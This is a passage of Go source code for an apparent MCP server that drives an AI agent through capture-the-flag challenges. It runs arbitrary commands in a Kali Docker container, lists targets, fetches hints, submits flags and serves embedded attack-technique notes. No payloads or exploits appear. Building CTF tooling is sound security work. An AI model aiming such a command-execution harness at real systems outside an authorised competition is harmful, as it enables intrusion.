95 | }, nil) 96 | slog.Info("MCP SSE server started", "addr", s.options.ListenAddr) 97 | slog.Error("Failed to start MCP server", "error", http.ListenAndServe(s.options.ListenAddr, handler)) 98 | case Streamable: 99 | handler := mcp.NewStreamableHTTPHandler(func(*http.Request) *mcp.Server { 100 | return s.engine 101 | }, nil) 102 | slog.Info("MCP Streamable server started", "addr", s.options.ListenAddr) 103 | slog.Error("Failed to start MCP server", "error", http.ListenAndServe(s.options.ListenAddr, handler)) 104 | } 105 | }() 106 | //优雅停机 107 | ctx, stop := signal.NotifyContext(s.options.Ctx, os.Interrupt, syscall.SIGTERM) 108 | defer stop() 109 | <-ctx.Done() 110 | // On shutdown, remove container 111 | container := s.options.DockerContainer 112 | if container == "" { 113 | container = "xbow-kail" 114 | } 115 | _ = exec.Command("docker", "rm", "-f", container).Run() 116 | } 117 | 118 | // ensureKailContainer ensures the Kali image exists (build if missing) and a background container is running. 119 | // The container runs in detached mode with --rm so it is auto-removed on exit. 120 | func (s *McpServer) ensureKailContainer() error { 121 | 122 | // 1) Ensure image exists 123 | if err := exec.Command("docker", "image", "inspect", s.options.DockerContainer).Run(); err != nil { 124 | // Build using Dockerfile 125 | if s.options.DockerfileDir == "" { 126 | return fmt.Errorf("image %s not found and DockerfileDir is empty", s.options.DockerImage) 127 | } 128 | cmd := exec.Command("docker", "buildx", "build", "--platform=linux/amd64", "-t", s.options.DockerImage, "-f", s.options.DockerfileDir, ".") 129 | cmd.Stdout = os.Stdout 130 | cmd.Stderr = os.Stderr 131 | if err := cmd.Run(); err != nil { 132 | return err 133 | } 134 | slog.Info("docker image built", "image", s.options.DockerImage) 135 | } 136 | // 2) Check container state 137 | inspect := exec.Command("docker", "inspect", "-f", "{{.State.Running}}", s.options.DockerContainer) 138 | var inspOut bytes.Buffer 139 | inspect.Stdout = &inspOut 140 | inspect.Stderr = &inspOut 141 | if err := inspect.Run(); err == nil { 142 | if bytes.Contains(inspOut.Bytes(), []byte("true")) { 143 | // Already running 144 | return nil 145 | } 146 | // Exists but not running -> remove 147 | _ = exec.Command("docker", "rm", "-f", s.options.DockerContainer).Run() 148 | } 149 | // 3) Run container detached with --rm 150 | run := exec.Command("docker", "run", "-d", "--rm", "--name", s.options.DockerContainer, s.options.DockerImage, "sh", "-lc", "tail -f /dev/null") 151 | var runOut bytes.Buffer 152 | run.Stdout = &runOut 153 | run.Stderr = &runOut 154 | if err := run.Run(); err != nil { 155 | slog.Warn("docker run failed", "output", runOut.String(), "error", err) 156 | return err 157 | } 158 | slog.Info("kail container started", "container", s.options.DockerContainer, "image", s.options.DockerImage) 159 | return nil 160 | } 161 | -------------------------------------------------------------------------------- /mcpserver/types.go: -------------------------------------------------------------------------------- 1 | package mcpserver 2 | 3 | import ( 4 | "context" 5 | "encoding/json" 6 | "errors" 7 | "strings" 8 | ) 9 | 10 | type McpServerMode string 11 | 12 | type McpServerOptions struct { 13 | Mode McpMode 14 | ListenAddr string 15 | Secret string 16 | XbowUrl string 17 | XbowToken string 18 | DockerExecLogDir string 19 | DockerfileDir string 20 | DockerImage string 21 | DockerContainer string 22 | Ctx context.Context 23 | ChallengeHistoryDir string 24 | } 25 | 26 | type McpServerOption func(*McpServerOptions) 27 | 28 | func NewMcpServerOptions(options ...McpServerOption) *McpServerOptions { 29 | opts := &McpServerOptions{ 30 | Mode: Streamable, 31 | ListenAddr: "127.0.0.1:3000", 32 | Ctx: context.Background(), 33 | XbowUrl: "http://127.0.0.1:8000", 34 | XbowToken: "1234567890", 35 | DockerExecLogDir: "./.kail-history", 36 | DockerfileDir: "./Dockerfile", 37 | DockerImage: "xbow-kail:latest", 38 | DockerContainer: "xbow-kail", 39 | ChallengeHistoryDir: "./.challenge_history", 40 | } 41 | for _, opt := range options { 42 | opt(opts) 43 | } 44 | return opts 45 | } 46 | 47 | func WithMcpServerMode(mode McpMode) McpServerOption { 48 | return func(opts *McpServerOptions) { 49 | opts.Mode = mode 50 | } 51 | } 52 | func WithMcpServerListenAddr(addr string) McpServerOption { 53 | return func(opts *McpServerOptions) { 54 | opts.ListenAddr = addr 55 | } 56 | } 57 | func WithContext(ctx context.Context) McpServerOption { 58 | return func(opts *McpServerOptions) { 59 | opts.Ctx = ctx 60 | } 61 | } 62 | func WithXbowUrl(url string) McpServerOption { 63 | return func(opts *McpServerOptions) { 64 | opts.XbowUrl = url 65 | } 66 | } 67 | func WithXbowToken(token string) McpServerOption { 68 | return func(opts *McpServerOptions) { 69 | opts.XbowToken = token 70 | } 71 | } 72 | 73 | // WithDockerExecContainer sets a fixed container name for docker exec 74 | // WithDockerExecLogDir sets the directory to store command execution logs 75 | func WithDockerExecLogDir(dir string) McpServerOption { 76 | return func(opts *McpServerOptions) { 77 | opts.DockerExecLogDir = dir 78 | } 79 | } 80 | 81 | // WithDockerfileDir sets the directory containing Dockerfile for building the image 82 | func WithDockerfileDir(dir string) McpServerOption { 83 | return func(opts *McpServerOptions) { 84 | opts.DockerfileDir = dir 85 | } 86 | } 87 | 88 | // WithDockerImage sets the docker image name:tag to use for the Kali environment 89 | func WithDockerImage(image string) McpServerOption { 90 | return func(opts *McpServerOptions) { 91 | opts.DockerImage = image 92 | } 93 | } 94 | 95 | // WithDockerContainer sets the container name used to run the Kali environment 96 | func WithDockerContainer(name string) McpServerOption { 97 | return func(opts *McpServerOptions) { 98 | opts.DockerContainer = name 99 | } 100 | } 101 | 102 | // WithChallengeHistoryDir sets the directory to store challenge history and notes 103 | func WithChallengeHistoryDir(dir string) McpServerOption { 104 | return func(opts *McpServerOptions) { 105 | opts.ChallengeHistoryDir = dir 106 | } 107 | } 108 | 109 | type McpMode int 110 | 111 | const ( 112 | Stdio = iota 113 | SSE 114 | Streamable 115 | ) 116 | 117 | func (s *McpMode) Set(val string) error { 118 | switch strings.ToLower(val) { 119 | case "stdio": 120 | *s = Stdio 121 | case "sse": 122 | *s = SSE 123 | case "streamable": 124 | *s = Streamable 125 | default: 126 | return errors.New("invalid output format: " + val) 127 | } 128 | return nil 129 | } 130 | func (s *McpMode) Get() any { return s } 131 | func (s *McpMode) String() string { 132 | switch *s { 133 | case Stdio: 134 | return "stdio" 135 | case SSE: 136 | return "sse" 137 | case Streamable: 138 | return "streamable" 139 | default: 140 | return "unknown" 141 | } 142 | } 143 | func (p McpMode) MarshalJSON() ([]byte, error) { 144 | return json.Marshal(p.String()) 145 | } 146 | 147 | func (p McpMode) MarshalYAML() (interface{}, error) { 148 | return p.String(), nil 149 | } 150 | 151 | // DockerRunOutput is the result of the docker-run tool 152 | type DockerRunOutput struct { 153 | ExitCode int `json:"exit_code" jsonschema:"进程退出码"` 154 | Stdout string `json:"stdout" jsonschema:"标准输出"` 155 | Stderr string `json:"stderr" jsonschema:"标准错误"` 156 | DurationMs int64 `json:"duration_ms" jsonschema:"执行耗时(毫秒)"` 157 | TimedOut bool `json:"timed_out" jsonschema:"是否超时终止"` 158 | ID string `json:"id" jsonschema:"本次执行的唯一标识,可用 kail.get_history 查询历史记录"` 159 | Running bool `json:"running" jsonschema:"是否仍在后台运行(仅 background=true 时返回 true)"` 160 | } 161 | 162 | // DockerRunRecord is the persisted record format 163 | type DockerRunRecord struct { 164 | ID string `json:"id"` 165 | Container string `json:"container"` 166 | Command string `json:"command"` 167 | Status string `json:"status"` 168 | Background bool `json:"background"` 169 | ExitCode int `json:"exit_code"` 170 | Stdout string `json:"stdout"` 171 | Stderr string `json:"stderr"` 172 | DurationMs int64 `json:"duration_ms"` 173 | TimedOut bool `json:"timed_out"` 174 | StartedAt int64 `json:"started_at_unix_ms"` 175 | EndedAt int64 `json:"ended_at_unix_ms"` 176 | } 177 | 178 | // DockerHistoryGetInput for querying a historical record by id (scoped to session) 179 | type DockerHistoryGetInput struct { 180 | ID string `json:"id" jsonschema:"required; 通过执行返回的 id 查询历史记录"` 181 | } 182 | 183 | // DockerHistoryGetOutput returns the stored record 184 | type DockerHistoryGetOutput struct { 185 | Record DockerRunRecord `json:"record"` 186 | } 187 | 188 | // DockerRunInput defines inputs for executing a command inside a pre-started session container 189 | type DockerRunInput struct { 190 | Command string `json:"command" jsonschema:"required; 在会话容器中执行的命令,如 echo hi"` 191 | Background bool `json:"background" jsonschema:"可选; true 则后台执行,立即返回 id,可用 kail.get_history 查询"` 192 | } 193 | 194 | // ListChallengesInput defines optional overrides for base URL and token. 195 | type ListChallengesInput struct { 196 | } 197 | 198 | type TargetInfo struct { 199 | IP string `json:"ip" jsonschema:"目标服务器 IP 地址"` 200 | Port []int `json:"port" jsonschema:"目标服务器端口列表"` 201 | } 202 | 203 | type Challenge struct { 204 | ChallengeCode string `json:"challenge_code" jsonschema:"赛题唯一标识码"` 205 | Difficulty string `json:"difficulty" jsonschema:"难度等级(easy/medium/hard)"` 206 | Points int `json:"points" jsonschema:"该题目的基础分值"` 207 | HintViewed bool `json:"hint_viewed" jsonschema:"是否已查看过提示"` 208 | Solved bool `json:"solved" jsonschema:"是否已成功解答"` 209 | TargetInfo TargetInfo `json:"target_info" jsonschema:"目标服务器信息"` 210 | // Local fields (derived from .challenge_history), not provided by remote API 211 | AttemptCount int `json:"attempt_count" jsonschema:"本地记录的尝试次数(通过 do_challenge 累积)"` 212 | Doing bool `json:"doing" jsonschema:"是否当前正在尝试(本地标记)"` 213 | } 214 | 215 | type ListChallengesOutput struct { 216 | CurrentStage string `json:"current_stage" jsonschema:"当前所处的阶段(debug:调试阶段,competition:正式答题阶段)"` 217 | Challenges []Challenge `json:"challenges" jsonschema:"赛题列表"` 218 | } 219 | 220 | // GetHintInput request 221 | type GetHintInput struct { 222 | ChallengeCode string `json:"challenge_code" jsonschema:"required; 赛题唯一标识码"` 223 | } 224 | 225 | // GetHintOutput response 226 | type GetHintOutput struct { 227 | HintContent string `json:"hint_content" jsonschema:"提示内容"` 228 | PenaltyPoints int `json:"penalty_points" jsonschema:"查看提示的惩罚积分"` 229 | FirstUse bool `json:"first_use" jsonschema:"是否为首次查看"` 230 | } 231 | 232 | // SubmitAnswerInput request 233 | type SubmitAnswerInput struct { 234 | ChallengeCode string `json:"challenge_code" jsonschema:"required; 赛题唯一标识码"` 235 | Answer string `json:"answer" jsonschema:"required; 答案内容(flag 格式,如 flag{...})"` 236 | } 237 | 238 | // SubmitAnswerOutput response 239 | type SubmitAnswerOutput struct { 240 | Correct bool `json:"correct" jsonschema:"答案是否正确"` 241 | EarnedPoints int `json:"earned_points" jsonschema:"本次获得的积分(已扣除惩罚积分)"` 242 | IsSolved bool `json:"is_solved" jsonschema:"该题目之前是否已被解答"` 243 | } 244 | 245 | // DoChallengeInput request: mark a challenge as being attempted and increment attempts 246 | type DoChallengeInput struct { 247 | ChallengeCode string `json:"challenge_code" jsonschema:"required; 赛题唯一标识码"` 248 | } 249 | 250 | // DoChallengeOutput response 251 | type DoChallengeOutput struct { 252 | Ok bool `json:"ok"` 253 | } 254 | 255 | // WriteChallengeNoteInput request: append a note entry for a challenge 256 | type WriteChallengeNoteInput struct { 257 | ChallengeCode string `json:"challenge_code" jsonschema:"required; 赛题唯一标识码"` 258 | Note string `json:"note" jsonschema:"required; 记录的笔记/尝试说明"` 259 | } 260 | 261 | // WriteChallengeNoteOutput response 262 | type WriteChallengeNoteOutput struct { 263 | Ok bool `json:"ok"` 264 | } 265 | 266 | // ChallengeNote is a single note item 267 | type ChallengeNote struct { 268 | TimestampMs int64 `json:"timestamp_ms"` 269 | SessionID string `json:"session_id"` 270 | Note string `json:"note"` 271 | } 272 | 273 | // ReadChallengeNoteInput request 274 | type ReadChallengeNoteInput struct { 275 | ChallengeCode string `json:"challenge_code" jsonschema:"required; 赛题唯一标识码"` 276 | } 277 | 278 | // ReadChallengeNoteOutput response 279 | type ReadChallengeNoteOutput struct { 280 | Notes []ChallengeNote `json:"notes"` 281 | } 282 | 283 | // GetCTFSkillInput defines inputs for getting CTF skill document 284 | type GetCTFSkillInput struct { 285 | Category string `json:"category" jsonschema:"required; CTF 技巧类别名称(如:idor、xss、sql、ssti、ssrf、xxe、lfi、codei、afr&pt)"` 286 | } 287 | 288 | // GetCTFSkillOutput defines output for CTF skill document 289 | type GetCTFSkillOutput struct { 290 | Category string `json:"category" jsonschema:"技能类别名称"` 291 | Content string `json:"content" jsonschema:"完整的技能文档内容"` 292 | Found bool `json:"found" jsonschema:"是否找到该类别的文档"` 293 | } 294 | -------------------------------------------------------------------------------- /mcpserver/help.go: -------------------------------------------------------------------------------- 1 | package mcpserver 2 | 3 | import ( 4 | "bufio" 5 | "context" 6 | "encoding/json" 7 | "fmt" 8 | "io" 9 | "net/http" 10 | "os" 11 | "path/filepath" 12 | "strings" 13 | "sync" 14 | "time" 15 | ) 16 | 17 | type challengeMeta struct { 18 | Attempts int `json:"attempts"` 19 | Doing bool `json:"doing"` 20 | UpdatedAt int64 `json:"updated_at_unix_ms"` 21 | } 22 | 23 | func (s *McpServer) challengeDir(code string) string { 24 | base := strings.TrimSpace(s.options.ChallengeHistoryDir) 25 | if base == "" { 26 | base = "./.challenge_history" 27 | } 28 | return filepath.Join(base, code) 29 | } 30 | 31 | func (s *McpServer) loadChallengeMeta(code string) challengeMeta { 32 | dir := s.challengeDir(code) 33 | data, err := os.ReadFile(filepath.Join(dir, "meta.json")) 34 | if err != nil { 35 | return challengeMeta{} 36 | } 37 | var m challengeMeta 38 | if json.Unmarshal(data, &m) != nil { 39 | return challengeMeta{} 40 | } 41 | return m 42 | } 43 | 44 | func (s *McpServer) saveChallengeMeta(code string, m challengeMeta) error { 45 | dir := s.challengeDir(code) 46 | if err := os.MkdirAll(dir, 0o755); err != nil { 47 | return err 48 | } 49 | data, err := json.MarshalIndent(m, "", " ") 50 | if err != nil { 51 | return err 52 | } 53 | return os.WriteFile(filepath.Join(dir, "meta.json"), data, 0o644) 54 | } 55 | 56 | func (s *McpServer) readChallengeMeta(code string) (bool, int) { 57 | m := s.loadChallengeMeta(code) 58 | return m.Doing, m.Attempts 59 | } 60 | 61 | func (s *McpServer) appendJSONL(path string, v any) error { 62 | f, err := os.OpenFile(path, os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0o644) 63 | if err != nil { 64 | return err 65 | } 66 | defer f.Close() 67 | b, err := json.Marshal(v) 68 | if err != nil { 69 | return err 70 | } 71 | _, err = f.Write(append(b, '\n')) 72 | return err 73 | } 74 | 75 | func (s *McpServer) readNotesJSONL(path string) ([]ChallengeNote, error) { 76 | f, err := os.Open(path) 77 | if err != nil { 78 | return nil, err 79 | } 80 | defer f.Close() 81 | var notes []ChallengeNote 82 | sc := bufio.NewScanner(f) 83 | for sc.Scan() { 84 | line := strings.TrimSpace(sc.Text()) 85 | if line == "" { 86 | continue 87 | } 88 | var n ChallengeNote 89 | if err := json.Unmarshal([]byte(line), &n); err == nil { 90 | notes = append(notes, n) 91 | } 92 | } 93 | if err := sc.Err(); err != nil { 94 | return nil, err 95 | } 96 | return notes, nil 97 | } 98 | 99 | // doJSON composes URL = baseURL + path and performs an HTTP request with JSON body (if provided), then decodes JSON response. 100 | func (s *McpServer) doJSON(ctx context.Context, method string, path string, body any, out any) error { 101 | url := strings.TrimRight(s.options.XbowUrl, "/") + path 102 | 103 | var bodyReader io.Reader 104 | if body != nil { 105 | b, err := json.Marshal(body) 106 | if err != nil { 107 | return fmt.Errorf("encode request body: %w", err) 108 | } 109 | bodyReader = strings.NewReader(string(b)) 110 | } 111 | req, err := http.NewRequestWithContext(ctx, method, url, bodyReader) 112 | if err != nil { 113 | return fmt.Errorf("create request: %w", err) 114 | } 115 | req.Header.Set("Accept", "application/json") 116 | req.Header.Set("Authorization", "Bearer "+s.options.XbowToken) 117 | if method == http.MethodPost || method == http.MethodPut || method == http.MethodPatch { 118 | req.Header.Set("Content-Type", "application/json") 119 | } 120 | 121 | client := &http.Client{Timeout: 15 * time.Second} 122 | resp, err := client.Do(req) 123 | if err != nil { 124 | return fmt.Errorf("request failed: %w", err) 125 | } 126 | defer resp.Body.Close() 127 | 128 | data, err := io.ReadAll(resp.Body) 129 | if err != nil { 130 | return fmt.Errorf("read response: %w", err) 131 | } 132 | if resp.StatusCode != http.StatusOK { 133 | // Try to extract {"detail": "..."} 134 | var derr struct { 135 | Detail string `json:"detail"` 136 | } 137 | if err := json.Unmarshal(data, &derr); err == nil && derr.Detail != "" { 138 | return fmt.Errorf("%s: %s", resp.Status, derr.Detail) 139 | } 140 | return fmt.Errorf("%s: %s", resp.Status, strings.TrimSpace(string(data))) 141 | } 142 | if err := json.Unmarshal(data, out); err != nil { 143 | return fmt.Errorf("decode response: %w", err) 144 | } 145 | return nil 146 | } 147 | 148 | // ---- Mock API (for local testing of the platform) ---- 149 | 150 | type mockChallenge struct { 151 | Challenge 152 | HintContent string 153 | Solution string 154 | } 155 | 156 | type mockAPI struct { 157 | mu sync.Mutex 158 | token string 159 | currentStage string 160 | hintPenalty int 161 | challenges map[string]*mockChallenge 162 | } 163 | 164 | // StartMockPlatformFromDir loads all challenges from a directory of JSON files (one file per challenge) 165 | // and starts the mock HTTP server with those challenges. 166 | func StartMockPlatformFromDir(addr string, token string, dir string) (*http.Server, error) { 167 | store := &mockAPI{ 168 | token: strings.TrimSpace(token), 169 | currentStage: "debug", 170 | hintPenalty: 10, 171 | challenges: map[string]*mockChallenge{}, 172 | } 173 | type challengeFile struct { 174 | ChallengeCode string `json:"challenge_code"` 175 | Difficulty string `json:"difficulty"` 176 | Points int `json:"points"` 177 | TargetInfo TargetInfo `json:"target_info"` 178 | HintViewed bool `json:"hint_viewed"` 179 | Solved bool `json:"solved"` 180 | HintContent string `json:"hint_content"` 181 | Solution string `json:"solution"` 182 | } 183 | entries, err := os.ReadDir(dir) 184 | if err != nil { 185 | return nil, err 186 | } 187 | for _, ent := range entries { 188 | if ent.IsDir() { 189 | continue 190 | } 191 | if !strings.HasSuffix(strings.ToLower(ent.Name()), ".json") { 192 | continue 193 | } 194 | data, err := os.ReadFile(filepath.Join(dir, ent.Name())) 195 | if err != nil { 196 | return nil, err 197 | } 198 | var cf challengeFile 199 | if err := json.Unmarshal(data, &cf); err != nil { 200 | return nil, fmt.Errorf("parse %s: %w", ent.Name(), err) 201 | } 202 | if strings.TrimSpace(cf.ChallengeCode) == "" { 203 | return nil, fmt.Errorf("file %s missing challenge_code", ent.Name()) 204 | } 205 | store.challenges[cf.ChallengeCode] = &mockChallenge{ 206 | Challenge: Challenge{ 207 | ChallengeCode: cf.ChallengeCode, 208 | Difficulty: cf.Difficulty, 209 | Points: cf.Points, 210 | HintViewed: cf.HintViewed, 211 | Solved: cf.Solved, 212 | TargetInfo: cf.TargetInfo, 213 | }, 214 | HintContent: cf.HintContent, 215 | Solution: cf.Solution, 216 | } 217 | } 218 | mux := http.NewServeMux() 219 | mux.HandleFunc("/api/v1/challenges", store.handleListChallenges) 220 | mux.HandleFunc("/api/v1/hint/", store.handleGetHint) 221 | mux.HandleFunc("/api/v1/answer", store.handleSubmitAnswer) 222 | srv := &http.Server{ 223 | Addr: addr, 224 | Handler: mux, 225 | } 226 | go func() { _ = srv.ListenAndServe() }() 227 | return srv, nil 228 | } 229 | 230 | func (m *mockAPI) checkAuth(w http.ResponseWriter, r *http.Request) bool { 231 | if m.token == "" { 232 | return true 233 | } 234 | auth := r.Header.Get("Authorization") 235 | want := "Bearer " + m.token 236 | if auth != want { 237 | writeJSON(w, http.StatusUnauthorized, map[string]string{"detail": "unauthorized"}) 238 | return false 239 | } 240 | return true 241 | } 242 | 243 | func (m *mockAPI) handleListChallenges(w http.ResponseWriter, r *http.Request) { 244 | if r.Method != http.MethodGet { 245 | writeJSON(w, http.StatusMethodNotAllowed, map[string]string{"detail": "method not allowed"}) 246 | return 247 | } 248 | if !m.checkAuth(w, r) { 249 | return 250 | } 251 | m.mu.Lock() 252 | defer m.mu.Unlock() 253 | var list []Challenge 254 | for _, ch := range m.challenges { 255 | list = append(list, ch.Challenge) 256 | } 257 | out := ListChallengesOutput{ 258 | CurrentStage: m.currentStage, 259 | Challenges: list, 260 | } 261 | writeJSON(w, http.StatusOK, out) 262 | } 263 | 264 | func (m *mockAPI) handleGetHint(w http.ResponseWriter, r *http.Request) { 265 | if r.Method != http.MethodGet { 266 | writeJSON(w, http.StatusMethodNotAllowed, map[string]string{"detail": "method not allowed"}) 267 | return 268 | } 269 | if !m.checkAuth(w, r) { 270 | return 271 | } 272 | code := strings.TrimPrefix(r.URL.Path, "/api/v1/hint/") 273 | code = strings.TrimSpace(code) 274 | if code == "" { 275 | writeJSON(w, http.StatusBadRequest, map[string]string{"detail": "challenge_code required"}) 276 | return 277 | } 278 | m.mu.Lock() 279 | defer m.mu.Unlock() 280 | ch, ok := m.challenges[code] 281 | if !ok { 282 | writeJSON(w, http.StatusNotFound, map[string]string{"detail": "challenge not found"}) 283 | return 284 | } 285 | first := !ch.HintViewed 286 | ch.HintViewed = true 287 | // mirror into embedded Challenge 288 | ch.Challenge.HintViewed = true 289 | writeJSON(w, http.StatusOK, GetHintOutput{ 290 | HintContent: ch.HintContent, 291 | PenaltyPoints: m.hintPenalty, 292 | FirstUse: first, 293 | }) 294 | } 295 | 296 | func (m *mockAPI) handleSubmitAnswer(w http.ResponseWriter, r *http.Request) { 297 | if r.Method != http.MethodPost { 298 | writeJSON(w, http.StatusMethodNotAllowed, map[string]string{"detail": "method not allowed"}) 299 | return 300 | } 301 | if !m.checkAuth(w, r) { 302 | return 303 | } 304 | var in SubmitAnswerInput 305 | if err := json.NewDecoder(r.Body).Decode(&in); err != nil { 306 | writeJSON(w, http.StatusBadRequest, map[string]string{"detail": "invalid json"}) 307 | return 308 | } 309 | code := strings.TrimSpace(in.ChallengeCode) 310 | ans := strings.TrimSpace(in.Answer) 311 | if code == "" || ans == "" { 312 | writeJSON(w, http.StatusBadRequest, map[string]string{"detail": "challenge_code and answer required"}) 313 | return 314 | } 315 | m.mu.Lock() 316 | defer m.mu.Unlock() 317 | ch, ok := m.challenges[code] 318 | if !ok { 319 | writeJSON(w, http.StatusNotFound, map[string]string{"detail": "challenge not found"}) 320 | return 321 | } 322 | correct := ans == ch.Solution 323 | if !correct { 324 | writeJSON(w, http.StatusOK, SubmitAnswerOutput{ 325 | Correct: false, 326 | EarnedPoints: 0, 327 | IsSolved: ch.Solved, 328 | }) 329 | return 330 | } 331 | // correct 332 | if ch.Solved { 333 | writeJSON(w, http.StatusOK, SubmitAnswerOutput{ 334 | Correct: true, 335 | EarnedPoints: 0, 336 | IsSolved: true, 337 | }) 338 | return 339 | } 340 | earned := ch.Points 341 | if ch.HintViewed && m.hintPenalty > 0 { 342 | if earned > m.hintPenalty { 343 | earned -= m.hintPenalty 344 | } else { 345 | earned = 0 346 | } 347 | } 348 | ch.Solved = true 349 | ch.Challenge.Solved = true 350 | writeJSON(w, http.StatusOK, SubmitAnswerOutput{ 351 | Correct: true, 352 | EarnedPoints: earned, 353 | IsSolved: false, 354 | }) 355 | } 356 | 357 | func writeJSON(w http.ResponseWriter, status int, v any) { 358 | w.Header().Set("Content-Type", "application/json") 359 | w.WriteHeader(status) 360 | _ = json.NewEncoder(w).Encode(v) 361 | } 362 | -------------------------------------------------------------------------------- /mcpserver/tools.go: -------------------------------------------------------------------------------- 1 | package mcpserver 2 | 3 | import ( 4 | "bytes" 5 | "context" 6 | "embed" 7 | "encoding/json" 8 | "errors" 9 | "fmt" 10 | "io/fs" 11 | "net/http" 12 | "os" 13 | "os/exec" 14 | "path/filepath" 15 | "strings" 16 | "time" 17 | 18 | "github.com/modelcontextprotocol/go-sdk/mcp" 19 | ) 20 | 21 | //go:embed ctf-skills/*.md 22 | var ctfSkillFS embed.FS 23 | 24 | // listChallenges implements GET /api/v1/challenges 25 | func (s *McpServer) listChallenges(ctx context.Context, _ *mcp.CallToolRequest, _ ListChallengesInput) (*mcp.CallToolResult, ListChallengesOutput, error) { 26 | var out ListChallengesOutput 27 | if err := s.doJSON(ctx, http.MethodGet, "/api/v1/challenges", nil, &out); err != nil { 28 | return nil, ListChallengesOutput{}, err 29 | } 30 | noSolvedChallenges := make([]Challenge, 0) 31 | for _, challenge := range out.Challenges { 32 | code := strings.TrimSpace(challenge.ChallengeCode) 33 | if code == "" { 34 | continue 35 | } 36 | if challenge.Solved { 37 | continue // 已经解决的题目跳过 38 | } 39 | doing, attempts := s.readChallengeMeta(code) 40 | challenge.AttemptCount = attempts 41 | challenge.Doing = doing && !challenge.Solved 42 | 43 | noSolvedChallenges = append(noSolvedChallenges, challenge) 44 | } 45 | out.Challenges = noSolvedChallenges 46 | return nil, out, nil 47 | } 48 | 49 | // getHint implements GET /api/v1/hint/{challenge_code} 50 | func (s *McpServer) getHint(ctx context.Context, _ *mcp.CallToolRequest, in GetHintInput) (*mcp.CallToolResult, GetHintOutput, error) { 51 | if strings.TrimSpace(in.ChallengeCode) == "" { 52 | return nil, GetHintOutput{}, errors.New("challenge_code is required") 53 | } 54 | var out GetHintOutput 55 | path := "/api/v1/hint/" + in.ChallengeCode 56 | if err := s.doJSON(ctx, http.MethodGet, path, nil, &out); err != nil { 57 | return nil, GetHintOutput{}, err 58 | } 59 | return nil, out, nil 60 | } 61 | 62 | // submitAnswer implements POST /api/v1/answer 63 | func (s *McpServer) submitAnswer(ctx context.Context, _ *mcp.CallToolRequest, in SubmitAnswerInput) (*mcp.CallToolResult, SubmitAnswerOutput, error) { 64 | if strings.TrimSpace(in.ChallengeCode) == "" || strings.TrimSpace(in.Answer) == "" { 65 | return nil, SubmitAnswerOutput{}, errors.New("challenge_code and answer are required") 66 | } 67 | body := map[string]any{ 68 | "challenge_code": in.ChallengeCode, 69 | "answer": in.Answer, 70 | } 71 | var out SubmitAnswerOutput 72 | if err := s.doJSON(ctx, http.MethodPost, "/api/v1/answer", body, &out); err != nil { 73 | return nil, SubmitAnswerOutput{}, err 74 | } 75 | return nil, out, nil 76 | } 77 | 78 | // doChallenge marks a challenge as being attempted, increments attempt count, and writes local metadata/history. 79 | func (s *McpServer) doChallenge(ctx context.Context, req *mcp.CallToolRequest, in DoChallengeInput) (*mcp.CallToolResult, DoChallengeOutput, error) { 80 | code := strings.TrimSpace(in.ChallengeCode) 81 | if code == "" { 82 | return nil, DoChallengeOutput{}, errors.New("challenge_code is required") 83 | } 84 | dir := s.challengeDir(code) 85 | if err := os.MkdirAll(dir, 0o755); err != nil { 86 | return nil, DoChallengeOutput{}, fmt.Errorf("ensure history dir: %w", err) 87 | } 88 | meta := s.loadChallengeMeta(code) 89 | meta.Attempts++ 90 | meta.Doing = true 91 | meta.UpdatedAt = time.Now().UnixMilli() 92 | 93 | // 每 9 轮清空一次笔记(在第 9, 18, 27... 次尝试时) 94 | if meta.Attempts%9 == 0 && meta.Attempts > 0 { 95 | notesPath := filepath.Join(dir, "notes.jsonl") 96 | // 删除旧的笔记文件,不写入提示 97 | _ = os.Remove(notesPath) 98 | } 99 | 100 | if err := s.saveChallengeMeta(code, meta); err != nil { 101 | return nil, DoChallengeOutput{}, err 102 | } 103 | // append attempt entry 104 | attemptEntry := struct { 105 | TimestampMs int64 `json:"timestamp_ms"` 106 | SessionID string `json:"session_id"` 107 | Action string `json:"action"` 108 | }{ 109 | TimestampMs: time.Now().UnixMilli(), 110 | SessionID: strings.TrimSpace(req.GetSession().ID()), 111 | Action: "start", 112 | } 113 | if err := s.appendJSONL(filepath.Join(dir, "attempts.jsonl"), attemptEntry); err != nil { 114 | // non-fatal 115 | } 116 | return nil, DoChallengeOutput{Ok: true}, nil 117 | } 118 | 119 | // writeChallengeNote appends a note to the challenge notes file. 120 | func (s *McpServer) writeChallengeNote(ctx context.Context, req *mcp.CallToolRequest, in WriteChallengeNoteInput) (*mcp.CallToolResult, WriteChallengeNoteOutput, error) { 121 | code := strings.TrimSpace(in.ChallengeCode) 122 | note := strings.TrimSpace(in.Note) 123 | if code == "" || note == "" { 124 | return nil, WriteChallengeNoteOutput{}, errors.New("challenge_code and note are required") 125 | } 126 | dir := s.challengeDir(code) 127 | if err := os.MkdirAll(dir, 0o755); err != nil { 128 | return nil, WriteChallengeNoteOutput{}, fmt.Errorf("ensure history dir: %w", err) 129 | } 130 | 131 | notesPath := filepath.Join(dir, "notes.jsonl") 132 | entry := ChallengeNote{ 133 | TimestampMs: time.Now().UnixMilli(), 134 | SessionID: strings.TrimSpace(req.GetSession().ID()), 135 | Note: note, 136 | } 137 | if err := s.appendJSONL(notesPath, entry); err != nil { 138 | return nil, WriteChallengeNoteOutput{}, fmt.Errorf("append note: %w", err) 139 | } 140 | // update meta timestamp (optional) 141 | meta := s.loadChallengeMeta(code) 142 | meta.UpdatedAt = time.Now().UnixMilli() 143 | _ = s.saveChallengeMeta(code, meta) 144 | return nil, WriteChallengeNoteOutput{Ok: true}, nil 145 | } 146 | 147 | // readChallengeNote returns all note entries for a challenge (if any). 148 | func (s *McpServer) readChallengeNote(_ context.Context, req *mcp.CallToolRequest, in ReadChallengeNoteInput) (*mcp.CallToolResult, ReadChallengeNoteOutput, error) { 149 | code := strings.TrimSpace(in.ChallengeCode) 150 | if code == "" { 151 | return nil, ReadChallengeNoteOutput{}, errors.New("challenge_code is required") 152 | } 153 | dir := s.challengeDir(code) 154 | path := filepath.Join(dir, "notes.jsonl") 155 | 156 | // 每 9 轮清空一次笔记(在第 9, 18, 27... 次尝试时) 157 | meta := s.loadChallengeMeta(code) 158 | if meta.Attempts%9 == 0 && meta.Attempts > 0 { 159 | // 先尝试读取笔记,如果文件存在且有内容,说明已经清空并写入了新笔记 160 | notes, err := s.readNotesJSONL(path) 161 | if err == nil && len(notes) > 0 { 162 | // 文件存在且有新笔记,正常返回 163 | return nil, ReadChallengeNoteOutput{Notes: notes}, nil 164 | } 165 | // 文件不存在或为空,删除文件并返回提示 166 | _ = os.Remove(path) 167 | resetNote := 